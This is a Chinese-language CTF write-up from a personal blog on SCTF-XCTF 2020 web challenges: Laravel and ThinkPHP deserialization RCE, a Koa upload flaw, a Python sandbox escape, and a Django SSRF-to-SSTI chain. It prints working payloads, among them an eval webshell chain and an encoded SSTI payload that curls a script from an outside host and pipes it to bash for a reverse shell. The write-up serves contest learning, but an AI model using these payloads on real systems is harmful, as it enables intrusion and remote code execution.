SCTF-XCTF 2020 Writeup

Author:颖奇L’Amore
Blog:www.gem-love.com

和战队打,题目基本都是一起做的,全程在被队友疯狂带飞,大部分题都唰唰唰的被队友秒了 ruby做了10几个小时,心态崩了


bestlanguage

考点:CVE-2018-15133 难度:普通 赛后发现,本题目能直接读flag:

关于–path-as-is相关,建议阅读:

https://www.gem-love.com/ctf/2391.html#web/cookierecipesv2

下面介绍比赛时的做法。首先查看laravel的版本

版本号也会写在vendor/laravel/framework/src/Illuminate/Foundation/Application.php里面

Laravel 5.5.x<=5.5.40、5.6.x<=5.6.29都会受到CVE-2018-15133的影响,这是一个在得知APP_KEY情况下的RCE,参考:

https://xz.aliyun.com/t/6533

而APP_KEY存在于.env中,这个文件已经被提供给我们了,所以直接一键打了

CVE-2018-15133的PoC:

https://github.com/kozmic/laravel-poc-CVE-2018-15133

利用之前还需要用到一个PHP反序列化工具phpggc,GitHub地址:

https://github.com/ambionics/phpggc

phpggc自带了Laravel框架RCE组件,所以非常方便

之后就拿poc一把梭:

把生成的payload放在Cookie字段,访问

在服务器上接收传回来的flag

不过因为调用system()函数是有回显的,直接cat /flag也行


UnsafeDefenseSystem

don’t need to scan , flag is in /flag .The server is remade every 3 minutes. good luck to you if you get the flag, please don’t destory the environment. China: http://39.99.41.124/public/ Overseas: http://8.208.102.48/public/

考点:文件包含、ThinkPHP反序列化、PHP伪协议
难度:hard

大半夜做的,晚上脑子不好,导致短短一小时内错失前三血,最后拿了个四血 访问:

Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%

访问/public/test能进入到一个局子里

html源代码有一行相关注释:

<!-- Admin:/public/nationalsb/login.php -->

这个登录输入任意账号密码都可以登陆上去,这个并没有保存cookie,是根据了Authentication字段

用插件直接找到了注释中保存的账号密码

有个四位的生日需要爆破,12x31=372,只需要300多个包,写个python小脚本爆破一下得到密码DsaPPPP!@#amspe1221 用这个登录,然后提供了一个文件查询功能

测试发现,是个php的文件包含

由404页面可知,题目是个TP5.0.24

读一下主页 得到反序列化位点:

<?php

namespace app\index\controller;

class Index extends \think\Controller
{
public function index()
{
$ip = $_SERVER['REMOTE_ADDR'];
echo "Warning" . "<br/>";
echo "You IP: " . $ip . " has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
}

public function hello()
{
echo 'hi';
unserialize(base64_decode($_GET['s3cr3tk3y']));
echo(base64_decode($_GET['s3cr3tk3y']));
}
}

thinkphp5.0.24反序列化:

https://www.shellcodes.org/Hacking/ThinkPHP 5.0.24反序列化ROP.html

http://39.99.41.124/protect.py有个py脚本:

# -*- coding:utf-8 -*-
import os
import hashlib
import time
import shutil

def get_file_md5(filename):
m = hashlib.md5()
with open(filename,'rb') as fobj:
while True:
data = fobj.read(4096)
if not data:
break
m.update(data)
return m.hexdigest()

def file_md5_build(startpath):
global md5_list
global file_list
global dir_list
global root
md5_list = []
file_list = []
dir_list = []
for root,dirs,files in os.walk(startpath,topdown=True):
for d in dirs:
dir_list.append(root+'/'+d)
for f in files:
if f[-4:] == '.txt':
continue
file_list.append(root+'/'+f)
md5_list.append(get_file_md5(root+'/'+f))

def file_md5_defense():
log = open('./public/log.txt','a')
log.write('[+]Defense System Online Now.')
log.write('\r\n')
log.write('[+]Defense System file is protect.py.')
log.write('\r\n')
log.close()
file_backup_remove()
file_backup()
global root
file_md5_build('./')
old_list = []
old_dir_list = []
new_list = []
new_dir_list = []
check_list = []
old_file_list = []
new_file_list = []
check_file_list = []
old_file_list = file_list[:]
old_list = md5_list[:]
old_dir_list = dir_list[:]
while (1):
check_list = old_list[:]
check_file_list = old_file_list[:]
file_md5_build('./')
new_list = md5_list[:]
new_file_list = file_list[:]
new_dir_list = dir_list[:]
sign2 = 0
for i in range(len(old_dir_list)):
sign3 = 0
for j in range(len(new_dir_list)):
if (old_dir_list[i] == new_dir_list[j]):
sign3 = 1
break
if sign3 == 0:
sign3 = 1
log = open('./public/log.txt','a')
log.write(old_dir_list[i].replace('./','')+'Disappear!')
log.write('\r\n')
try:
shutil.copytree(tgt+old_dir_list[i].replace('./','/'),old_dir_list[i])
log.write("[+]Repaired.")
log.write('\r\n')
log.close()
except:
log.write("[-]No such dir.")
log.write('\r\n')
log.close()
for i in range(len(new_list)):
sign = 0
for j in range(len(old_list)):
if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
check_list[j] = '0'
sign = 1
break
if sign == 0:
sign2 = 1
log = open('./public/log.txt','a')
log.write(new_file_list[i].replace('./','')+'Add or Changed!')
log.write('\r\n')
try:
os.remove(new_file_list[i])
shutil.copyfile(tgt+new_file_list[i].replace('./','/'),new_file_list[i])
log.write("[+]Repaired.")
log.write('\r\n')
log.close()
except:
log.write("[-]No such file.")
log.write('\r\n')
log.close()
for i in range(len(check_list)):
if check_list[i] != '0' and sign2 != 1:
log = open('./public/log.txt')
log.write(check_file_list[i].replace('./','')+'Disappear!')
log.write('\r\n')
sign2 = 0
try:
shutil.copyfile(tgt+check_file_list[i].replace('./','/'),check_file_list[i])
log.write("[+]Repaired.")
log.write('\r\n')
log.close()
except:
log.write("[-]No such file.")
log.write('\r\n')
log.close()

def file_md5_check():
file_backup()
global root
file_md5_build('./')
old_list = []
old_dir_list = []
new_list = []
new_dir_list = []
check_list = []
old_file_list = []
new_file_list = []
check_file_list = []
old_file_list = file_list[:]
old_list = md5_list[:]
old_dir_list = dir_list[:]
while (1):
print "*******************************************************"
print '[+]The old file total:',len(old_list)
print '[+]The old dir total:',len(old_dir_list)
print "*******************************************************"
check_list = old_list[:]
check_file_list = old_file_list[:]
file_md5_build('./')
new_list = md5_list[:]
new_file_list = file_list[:]
new_dir_list = dir_list[:]
sign2 = 0

for i in range(len(old_dir_list)):
sign3 = 0
for j in range(len(new_dir_list)):
if (old_dir_list[i] == new_dir_list[j]):
sign3 = 1
break
if sign3 == 0:
sign3 = 1
print old_dir_list[i].replace('./',''),'Disappear!'
for i in range(len(new_list)):
sign = 0
for j in range(len(old_list)):
if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
check_list[j] = '0'
sign = 1
break
if sign == 0:
sign2 = 1
print new_file_list[i].replace('./',''),'Add or Changed!'
for i in range(len(check_list)):
if check_list[i] != '0' and sign2 != 1:
print check_file_list[i].replace('./',''),'Disappear!'
sign2 = 0
print "*******************************************************"
print '[+]Total file:',len(new_list)
print '[+]Total dir:',len(new_dir_list)
print "*******************************************************"
time.sleep(5)

def file_log_add():
php_list=[]
for root,dirs,files in os.walk('./',topdown=True):
for f in files:
if f[-4:] == '.php':
php_list.append(root+'/'+f)

for i in range(len(php_list)):
php_list[i] = php_list[i].replace('//','/')
print php_list[i]
print '[+]Total PHP file:',len(php_list)
confirm = raw_input("Confirm Open Log Monitoring. 1 or 0:")
if confirm == '1':
print "*******************************************************"
for i in range(len(php_list)):
level_dir = 0
for j in range(len(php_list[i])):
if php_list[i][j] == '/':
level_dir += 1
lines = open(php_list[i],"r").readlines()
length = len(lines)-1
for j in range(length):
if '<?php' in lines[j]:
lines[j]=lines[j].replace('<?php','<?php\nrequire_once("./'+'../'*(level_dir-1)+'log.php");')
open(php_list[i],'w').writelines(lines)
print "[+]Log monitoring turned on."

def file_backup():
src = './'
try:
shutil.copytree(src,tgt)
log = open('./public/log.txt','a')
log.write("[+]File backup succeed.")
log.write('\r\n')
log.close()
except:
log = open('./public/log.txt','a')
log.write("[-]File backup fail.Maybe it exists.")
log.write('\r\n')
log.close()

def file_backup_remove():
try:
shutil.rmtree(tgt)
except:
pass

global tgt
tgt = './backup'
file_md5_defense()

源码很长,功能就是它会检测新生成的文件,把文件名写进/public/log.txt,然后把文件删掉 这正好说明找的这个5.0.24的反序列化思路是对的,因为这个方法会生成一个shell写进文件,但是文件名不可知,所以这个py脚本为我们提供了文件名 用payload打一下,写个脚本访问payload生成shell然后立马访问shell是可以访问到的,以为题目开启了短标签导致出现了语法错误,shell不能执行

大晚上的在这里卡住了,一直测试用init_set()关短标签,但是因为写入的代码永远在<?cuc rkug();?>后面,根本不能执行,就在这一小时之间,123血全没了。 后来我突然想到P神以前写过一个利用php://filter去除死亡exit()的文章,那么这个题应该也是不要用rot13的,去网上查资料直接找到了现成的解决方案:

https://xz.aliyun.com/t/7457

exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests

payload = '''http://39.99.41.124/public/index.php/index/index/hello?s3cr3tk3y=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkalkyTW5YU2s3UHo0Zy8uLi95MW5nLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMjU6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRqWTJNblhTazdQejRnLy4uL3kxbmcucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19'''
a = requests.get(payload)
shell = 'http://39.99.41.124/public/y1ng.php27a85b1aed60ffa54fae503e4197ce6b.php'
print(shell, end='\n\n')
r=requests.post(shell,data={'ccc':'system("cat /flag");'})
print(r.text)


CloudDisk

http://120.79.1.217:7777/ 【链接】Koa框架教程http://www.ruanyifeng.com/blog/2017/08/koa.html https://drive.google.com/file/d/1lVTIESyhJg3sdHq8L1PkYOZ4hZi0Rkru/view

考点:nodejs代码审计
难度:easy

这题确实简单,还没来得及上线就被队友秒了。是个上传,给了源码

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"


app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));


router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});


router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "SCTF{no_such_file_~}"
}
});


router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at port: 3333')
})

关键代码:

const file = ctx.request.body.files.file;

vulnerability detail here: https://github.com/dlau/koa-body/issues/75

flag不太好找,在/app/flag


pysandbox && pysandbox v2

i love py!!(Each docker will reboot every 3 mins,so please launch the remote attack after successful exploitation in your own local environment) China: http://39.104.25.107:10000 Overseas: http://8.208.91.150:10000 Attachment: https://sctf2020.oss-cn-huhehaote.aliyuncs.com/pysandbox.zip or https://drive.google.com/file/d/17y3BfFD0Keij4SshdpQE7wYFfsb\_1trn/view?usp=sharing

考点:python无括号RCE
难度:hard

俩题都被队友的无敌思路给秒了,两个都是二血,来自北京大学的xcmp,永远滴神~~我就在旁边打了打工 俩题代码是一样的,因为第一个题被非预期文件读取了,主办方出了v2要求必须rce

from flask import Flask, request
app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"

exec(secret)
return "xXXxXXx"

if __name__ == '__main__':
app.run(host="0.0.0.0")

过滤了一些符号,其他都好说,主要是过滤了括号。python不像php那样可以(“phpinfo”)()字符串动态调用函数,也不像Ruby那样可以省略括号,python首先必须得到函数,然后加了括号是invoke不加括号是指函数本身

第一题

google了半个小时,不加括号基本上没什么办法调用函数。后来队友突然发现可以通过exec()来操纵flask,然后直接把静态目录设置为根目录,就可以任意文件读取了

但是因为引号也没有,'/'也需要构造一下,只需要找一个包含/的字符串然后截出来就行了。因为变量都有__doc__属性,现在现成的变量有secretapp两个,用app的话可以app.__doc__[1510]secret用不了因为__doc__里没有想要的字符:

str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'.

队友开始用的static_folder,发现设置为'/'并不能访问/etc/passwd。然后我去试了下_static_folder发现可以了

后来队友发现如果用static_folder那么应该设置为/../,对应payload为app.static_folder=Flask.__doc__[1510]+Flask.__doc__[877]+Flask.__doc__[878]+Flask.__doc__[1510] 第二题 因为第一题非预期,主办方临时加了v2,v2就必须要RCE然后根据根目录下readflag来拿flag 构造任意字符串:

from flask import *

app = Flask(__name__)
doc = app.__doc__

mylist = []
code = "os.system('whoami')"
for char in code:
num = 0
for i in doc:
if i == char:
mylist.append("Flask.__doc__[{}]".format(num))
break
num+=1

print('+'.join(mylist))

一筹莫展之际,xmcp巨佬给出了payload:

app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx='__import__("os").system("bash")'

然后因为构造字符串是根据__doc__来构造的,可能有的字符没有,比如Y就没有,然后payload就很不方便。 然后我发现,比如有个叫y1ng的HTTP头,可以request.headers.environ['HTTP_Y1NG'] 获取到这个值,所以payload就呼之欲出了:

cmd=app.make\_response=eval;app.after\_request\_funcs\[None\]=\[exec\];\_\_builtins\_\_.xXXxXXx=request.headers.environ\[Flask.\_\_doc\_\_\[1796\]%2bFlask.\_\_doc\_\_\[0\]%2bFlask.\_\_doc\_\_\[0\]%2bFlask.\_\_doc\_\_\[909\]%2bFlask.\_\_doc\_\_\[525\]%2bFlask.\_\_doc\_\_\[2892\]%2bFlask.\_\_doc\_\_\[32\]\]

添加一个叫ng(本来构造y1ng结果y构造不出来)的http头字段,把想执行的python代码放里面即可,因为无回显,需要反弹shell


JSONHUB

I know my code is bad, but there should not be a lot of vulnerabilities China: http://39.104.19.182 Overseas: http://8.208.80.172 Attachment: china: https://sctf2020.oss-cn-huhehaote.aliyuncs.com/jsonhub-cn.zip overseas: https://drive.google.com/file/d/1KNMco3xVK4JpUpSzk9YqNifekVKu1yJA/view?usp=sharing PS: This challenge differs from China to oversea, so make sure you have the right attachment according to your ip before you start the challenge.

考点:Django登录伪造、SSRF、JSON、SSTI
难度:hard

给了docker源码,题目对外映射了8000端口,另外还有个5000的flask,需要通过8000去ssrf 有个rpc可以SSRF:

def flask_rpc(request):
if request.META['REMOTE_ADDR'] != "127.0.0.1":
return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

methods = request.GET.get("methods")
url = request.GET.get("url")

if methods == "GET":
return JsonResponse(
{"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
elif methods == "POST":
data = base64.b64decode(request.GET.get("data"))
return JsonResponse({"code": 0, "message": requests.post(url, data=data,headers={"User-Agent": "Django proxy =v=","Content-Type": "application/json"}, timeout=1).text})
else:
return JsonResponse({"code": -1, "message": "=3="})

home里能提交url,但是需要一个token

这个Token是在数据库里的,分析代码发现如果是admin用户在/admin可以得到这个Token。所以本题目逻辑是得到Token→访问rpc→rpc ssrf→SSTI反弹shell

Part 1

查资料之时这个Token被队友搞定了,payload:

{"username":"ppcmx","password":"pppcmx", "is_superuser": true, "is_staff": true, "is_active": true}

这是因为:

from django.contrib.auth.models import User

在Django的这个模块中,有三个标准用户模块的标志

is_staff = models.BooleanField(_('staff status'), default=False, help_text=_('Designates whether the user can log into this admin site.'))
is_active = models.BooleanField(_('active'), default=True, help_text=_('Designates whether this user should be treated as active. Unselect this instead of deleting accounts.'))
is_superuser = models.BooleanField(_('superuser status'), default=False, help_text=_('Designates that this user has all permissions without explicitly assigning them.'))

所以把他们都置为True即可

Part 2

这个rpc要求必须是本地访问才可以,所以就是带着Token去Network Test

def flask_rpc(request):
if request.META['REMOTE_ADDR'] != "127.0.0.1":
return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

但是提交的url只能是公网ip开头的

import re
def ssrf_check(url ,white_list):
for i in range(len(white_list)):
if url.startswith("http://" + white_list[i] + "/"):
return False
return True

学过网络的同学应该都知道,39.104.19.182访问http://39.104.19.182/,`REMOTE_ADDR`获取到的ip绝对不是127.0.0.1,因为首先是需要路由出网然后再回来,`REMOTE_ADDR`获取到的是公网IP39.104.19.182而不是127.0.0.1,安恒或着buuoj因为架构特殊,会获取到一个docker转发器的地址,不论如何,都不可能是127.0.0.1。如果不是127.0.0.1那么rpc就不能生效,也就没法做题了。 好在requests.get()会Follow 302 Redirect,所以只需要提交一个http://39.104.19.182/开头但是会跳转到http://127.0.0.1:8000/rpc的url就可以了:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=payload

这是Django的漏洞,CVE-2018-14574,注意到题目使用了Django2.0.7,对于访问http://host1//host2,如果host1是Django,就会访问到host2去。参考:

https://xz.aliyun.com/t/3302

Part 3

web2这里明显存在SSTI:

def caculator():
try:
data = request.get_json()
except ValueError:
return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
num1 = str(data["num1"])
num2 = str(data["num2"])
symbols = data["symbols"]
if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
return json.dumps({"code": -1, "message": "?"})

return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

这SSTI直接用python3.6.5的payload来RCE就好,先本地起个环境试一下发现没啥问题

但是,黑名单过滤了两个大括号,所以不能用:

@app.before_request
def before_request():
data = str(request.data)
log()
if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
abort(401)

队友xmcp是python神仙,基本上直接秒出解决方案,可能这就是北京大学的本科生吧。注意到题目是用了data = request.get_json(),而get_json()是可以解析Unicode的,所以{\u007b来代替{{即可成功绕过。最终payload:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCBodHRwOi8vZ2VtLWxvdmUuY29tL3NoZWxsLnR4dHxiYXNoJylcIil9XHUwMDdkIn0=

反弹shell得到flag

Author: Y1ng
Link: https://www.gem-love.com/2020/07/07/sctf-xctf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!